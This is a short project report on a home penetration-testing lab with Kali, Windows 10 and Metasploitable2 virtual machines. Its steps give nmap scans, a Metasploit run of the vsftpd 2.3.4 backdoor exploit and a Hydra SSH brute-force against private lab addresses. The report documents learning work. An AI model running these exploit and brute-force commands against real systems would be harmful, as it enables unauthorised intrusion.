🛡️ Cyber Security Home Lab Setup

Project Report

📌 Objective

To create a **virtual penetration testing lab** for learning ethical hacking, vulnerability assessment, and cybersecurity research. This setup allows hands-on practice with real-world hacking techniques in a controlled environment.

🖥️ Virtual Machines Installed

Machine	OS Version	Purpose
Kali Linux	2024.4	Penetration Testing & Attacker Machine
Windows 10	Pro Edition	Target System for Enumeration & Security Testing
Metasploitable2	Linux (Ubuntu-based)	Deliberately Vulnerable Machine for Exploitation

⚙️ Tools & Technologies Used

- **VMware Workstation** – Virtualization Platform
- **Kali Linux 2024.4** – Penetration Testing Tools (Metasploit, Nmap, Hydra, etc.)
- **Metasploitable2** – Vulnerable Testing Environment
- **Windows 10** – Target System for Security Testing
- **Network Configuration** – NAT, Bridged, and Host-Only Networking

📡 Network Configuration

Virtual Machine	Network Adapters Configured
Kali Linux	NAT, Bridged, Host-Only
Windows 10	NAT, Bridged, Host-Only
Metasploitable2	NAT, Host-Only

🔗 Network Connectivity Testing

After configuring the VMs, connectivity was tested using:

✅ **Ping Test** – Verified communication between machines:

```
ping 192.168.1.101  # Windows 10
ping 192.168.1.102  # Metasploitable2
```

✅ **Nmap Scan** – Identified open ports on Metasploitable2:

```
nmap -sV 192.168.1.102
```

🔍 Practical Implementation Steps

🖥️ Step 1: Setting Up Virtual Machines

- Installed **Kali Linux, Windows 10, and Metasploitable2** in VMware Workstation.
- Configured **network adapters (NAT, Bridged, Host-Only)** for communication.

🌐 Step 2: Network & Connectivity Testing

- Verified **VM connectivity** using **Ping & Nmap**.

💀 Step 3: Vulnerability Scanning & Exploitation

✅ **Scanning Metasploitable2 for open services:**

```
nmap -A 192.168.1.102
```

✅ **Exploiting Vulnerable Services with Metasploit:**

```
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.1.102
run
```

✅ **Brute Force Attack using Hydra:**

```
hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt 192.168.1.102 ssh
```

🏴‍☠️ Step 4: Windows 10 Security Testing

- **Gathered system information using PowerShell:**

```
systeminfo
whoami
net user
```

- **Checked for open ports:**

```
nmap -p- 192.168.1.101
```

📊 Key Learnings & Outcomes

✅ Successfully set up a **penetration testing lab** using VMware.
✅ Learned **network security basics** and **network scanning**.
✅ Conducted **ethical hacking simulations** in a controlled environment.
✅ Exploited real-world **vulnerabilities in Metasploitable2**.

🏆 Skills Gained

✔️ Penetration Testing
✔️ Ethical Hacking
✔️ Network Security
✔️ Vulnerability Assessment
✔️ Exploitation using Metasploit

🔮 Future Enhancements

- **Add a pfSense Firewall** for monitoring network traffic.
- **Include Windows Server & Active Directory** for privilege escalation practice.
- **Integrate SIEM (Splunk/ELK)** for log analysis.